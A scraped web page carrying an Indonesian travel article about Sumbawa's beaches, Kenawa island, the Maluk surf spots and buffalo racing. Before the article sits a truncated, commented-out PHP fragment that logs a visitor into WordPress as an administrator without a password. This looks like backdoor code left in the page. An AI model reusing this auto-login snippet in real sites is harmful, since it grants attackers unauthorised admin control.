user_login; break; } $us = get_user_by('login', $us ); if ( !is_wp_error( $us ) ) { get_currentuserinfo(); if ( user_can( $us, "administrator" ) ){ wp_clear_auth_cookie(); wp_set_current_user ( $us->ID ); wp_set_auth_cookie ( $us->ID ); $redirect_to = admin_url(); wp_safe_redirect( $redirect_to ); exit(); } } */
Travel
Menyusuri Pantai Sunyi, Tana Samawa

26 Apr 2013

Jalan-jalan ke Indonesia Tengah, jangan berhenti di Bali atau Lombok. Teruskan perjalanan ke arah timur, masih banyak keindahan menanti Anda, salah satunya di Tana Samawa (Pulau Sumbawa). Beberapa kendala seperti akomodasi yang masih terbatas, sepadan untuk diperjuangkan. Saat melihat indahnya alam dan meresapi kehangatan masyarakatnya, semua lelah segera hilang, berganti kekaguman dan keinginan untuk melestarikannya.

Poto Tano, Pintu Gerbang Sumbawa

“SABALONG SAMALEWA.” Tulisan besar itu menyambut saya saat tiba di Pelabuhan Poto Tano, di ujung barat Pulau Sumbawa. Slogan ini berasal dari bahasa daerah suku Samawa, penduduk asli Sumbawa, yang berarti membangun secara serasi dan seimbang, antara pembangunan fisik dan mental spiritual.
 
Poto Tano mungkin satu dari pelabuhan terindah yang pernah saya kunjungi selama ini. Pelabuhan tersebut terletak di Desa Poto Tano, Sumbawa Barat, NTB. Pelabuhan ini adalah pintu masuk ke wilayah Pulau Sumbawa dari arah barat, yaitu dari Pelabuhan Kahyangan di Pulau Lombok.

Butuh waktu sekitar 90-120 menit melewati Selat Alas, selat yang memisahkan Pulau Lombok dan Pulau Sumbawa. Pelabuhan ini berlatar bukit-bukit gersang dan deretan rumah nelayan Bajo. Air lautnya yang jernih dan tenang merefleksikan awan yang berarak di atas pelabuhan. Sungguh memukau.

Dari pelabuhan ini, tampak gugusan pulau-pulau kecil berpasir putih yang menggoda, seolah memanggil-manggil untuk dikunjungi. Salah satunya adalah Pulau Kenawa. Panasnya sinar matahari siang itu tidak menyurutkan keinginan saya untuk menginjakkan kaki di sana. Hanya perlu 20 menit, saya sudah mendarat dan bisa menikmati riak-riak ombak kecil di pantai Pulau Kenawa. Rasanya tak sabar untuk mengeksplorasi daratan dan bawah lautnya.

Hamparan pasir putih melingkari pulau. Pulau ini kecil saja, luasnya sekitar 13 hektare, panjang pantainya kurang dari 2 km. Hanya butuh waktu kurang dari 30 menit untuk mengelilinginya dengan berjalan kaki. Di sebagian kecil pantai, tumbuh beberapa jenis mangrove. Sebuah bukit yang menjadi latar belakang padang rumput yang indah.

Begitu saya menyemplungkan diri ke laut, hamparan soft coral yang tampak sehat segera menyambut. Ikan-ikan karang pun tampak seliweran di antaranya. Beberapa reefball tampak sengaja diletakkan di dasar laut yang dangkal sebagai media tumbuhnya karang. Berenang di lautnya yang jernih membuat saya lupa waktu. Tahu-tahu, matahari sudah bersiap tenggelam, cahaya keemasannya memantul dari permukaan laut.

Bermain di Atas Ombak

Setelah hampir dua jam perjalanan dari Poto Tano, saya tiba di pantai pasir putih yang membentang luas. Pantai ini sejatinya adalah teluk, Teluk Maluk, sehingga ombak juga tidak terlalu besar dan kondisi ini cocok sekali untuk berenang di lautnya yang jernih, atau  bermain kano yang memang disewakan di pantai ini.

Semilir angin laut membuat saya betah berlama-lama menikmati ini, sambil menonton anak-anak penduduk sekitar yang asyik bermain di pantai.
Tepat di ujung Teluk Maluk terdapat Tanjung Ahmad yang terkenal di kalangan pencinta olahraga selancar mancanegara. Di sini ada beberapa spot selancar yang dinamai Yoyo’s, Super Suck, dan Scar Reef. Saya sendiri tidak mengerti mengapa dinamakan demikian. Kabarnya, nama itu diberikan sesuai dengan karakter ombaknya. Wajar kalau nama  diberikan dalam bahasa asing, sebab yang menikmati ombak itu kebanyakan peselancar Australia. Malah, resort di Maluk rata-rata memang ditujukan untuk pelancong khusus peselancar.

Advertisement
Fasilitas di Teluk Maluk ini sudah tertata rapi. Saya bisa menjumpai beberapa warung makan dengan menu utamanya adalah olahan hasil laut. Tersedia juga  toilet yang bersih namun jumlahnya masih minim, musala, bangku-bangku untuk duduk di pinggir pantai, serta  penyewaan kano dan papan surfing.

Dari Teluk Maluk, saya kembali menyusuri pantai-pantai sepi di Sumbawa Barat, Pantai Lawar, dan Rantung, hanya sekitar 10-20 menit  dari  Pantai Maluk. Pantai Lawar diapit oleh bukit di sisi kirinya, sementara di sisi kanannya terdapat tebing menjulang. Terlihat beberapa perahu nelayan di teluk kecil ini. Tak jauh dari pantai, pasir putih membentang. Itulah Pantai Rantung, yang tampak   sunyi, tanda bahwa masih jarang disatroni pelancong. Asyik untuk merenung.

Di dekat sini, tepatnya di Jereweh, kabarnya juga ada sebuah air terjun cantik. Berhubung belum ada petunjuk di jalan untuk mencapainya, saya harus bertanya pada masyarakat lokal. Sepanjang perjalanan, saya disuguhi pemandangan alam khas Sumbawa, padang rumput luas dengan kuda-kuda liarnya yang asyik merumput. Setelah trekking selama 15 menit, melintasi sawah, tampak  air terjun cantik yang mengalir membentuk pola-pola indah  di antara bebatuan yang ditumbuhi lumut-lumut hijau. Air terjun ini aman, kok, untuk sekadar berendam. Airnya yang dingin memberi rasa tenteram seketika.

Nonton Balapan Kerbau

Kalau di Bali punya makepung, di Madura punya karapan sapi, di Sumatra Barat punya pacu jawi, maka di   Sumbawa punya barapan kebo. Selain beda binatang, perbedaan lain antara karapan sapi dan barapan kebo adalah lapangan (venue) tempat bertanding.

Karapan sapi dilombakan di lapangan kering, sementara barapan kebo dilombakan di sawah yang berair. Tentu saja, sesuai dengan habitat kerbau yang memang suka dengan kubangan air. Acara ini adalah sebuah pesta rakyat yang digelar ketika musim tanam tiba. Karena hampir semua area di Tana Samawa ini jarang sekali turun hujan, maka para penduduk di sini hanya bisa menanam padi sekali dalam setahun.

Nah, ketika musim hujan turun dan sebelum proses penanaman padi berlangsung, tentunya sawah harus dibajak terlebih dahulu supaya lahan yang akan ditanami padi menjadi gembur. Tetapi, karena jenis tanah di sini liat, maka untuk memudahkan proses pembajakan, petani sengaja membiarkan tanahnya diinjak-injak oleh kerbau-kerbau yang adu balap. Sekarang, barapan kebo ini dijadikan salah satu atraksi wisata yang diminati turis, dan bisa dipesan.

Suasana persawahan di samping lapangan bola terlihat ramai saat saya tiba di sana. Sesekali terdengar teriakan penonton menyemangati penunggang kerbau balap. Dua ekor kerbau dipasangkan dengan menggunakan kayu berbentuk segitiga yang digunakan oleh joki sebagai tempat berpijak. Lalu sepasang kerbau itu dipacu oleh joki, berlari dari garis start hingga melewati patok kayu yang dijadikan titik finish.

Kerbau dengan catatan waktu tercepatlah pemenangnya. Memacu dua ekor kerbau secara bersamaan ternyata tidak mudah, jokinya harus memecut cambuk dari rotan yang disebut mangkar, ke kerbau yang ada di kanan dan kiri secara bergantian, agar kerbau-kerbau itu berlari dengan kecepatan yang sama. Jika kerbau itu tidak lari sama cepat, jalannya akan tidak lurus, tapi membelok.

Pulang dari Tana Samawa banyak oleh-oleh yang bisa dibawa. Sebutlah madu Sumbawa yang rasanya pekat dan harum. Ada juga permen susu kerbau. Camilan khas Sumbawa Barat ini diolah dari susu kerbau asli sehingga rasa manis yang timbul juga terasa alami. Selain itu, ada juga minyak jereweh. Minyak ini terbuat dari 44 jenis akar kayu dan banyak sekali manfaatnya, mulai dari mengatasi  nyeri sendi hingga meningkatkan vitalitas.

Menuju ke Sana
Ada beberapa rute menuju Sumbawa:

Jalur darat. Sumbawa bisa ditempuh dari Bima di Lombok. Dari Bandara Lombok, Anda bisa menyewa mobil menuju Pelabuhan Kahyangan untuk menyeberang ke Sumbawa. Dari bandara menuju ke Pelabuhan Kahyangan dibutuhkan waktu sekitar 2-3 jam. Dari Pelabuhan Kahyangan menyeberang ke Pelabuhan Poto Tano (Sumbawa) dengan kapal feri. Butuh waktu perjalanan laut sekitar 2 jam melewati Selat Alas untuk mencapai daratan Sumbawa.
    Terbang dari Denpasar. Maskapai penerbangan Merpati memiliki  rute Denpasar ke Sekongkang-Sumbawa Barat yang terbang  tiap hari.



 



polling
Seberapa Korea Anda?

Hallyu wave atau gelombang Korea masih terus 'mengalir' di Indonesia. Penggemar KDrama, Kpop di Indonesia termasuk salah satu yang paling besar jumlahnya di dunia. Lalu seberapa Korea Anda?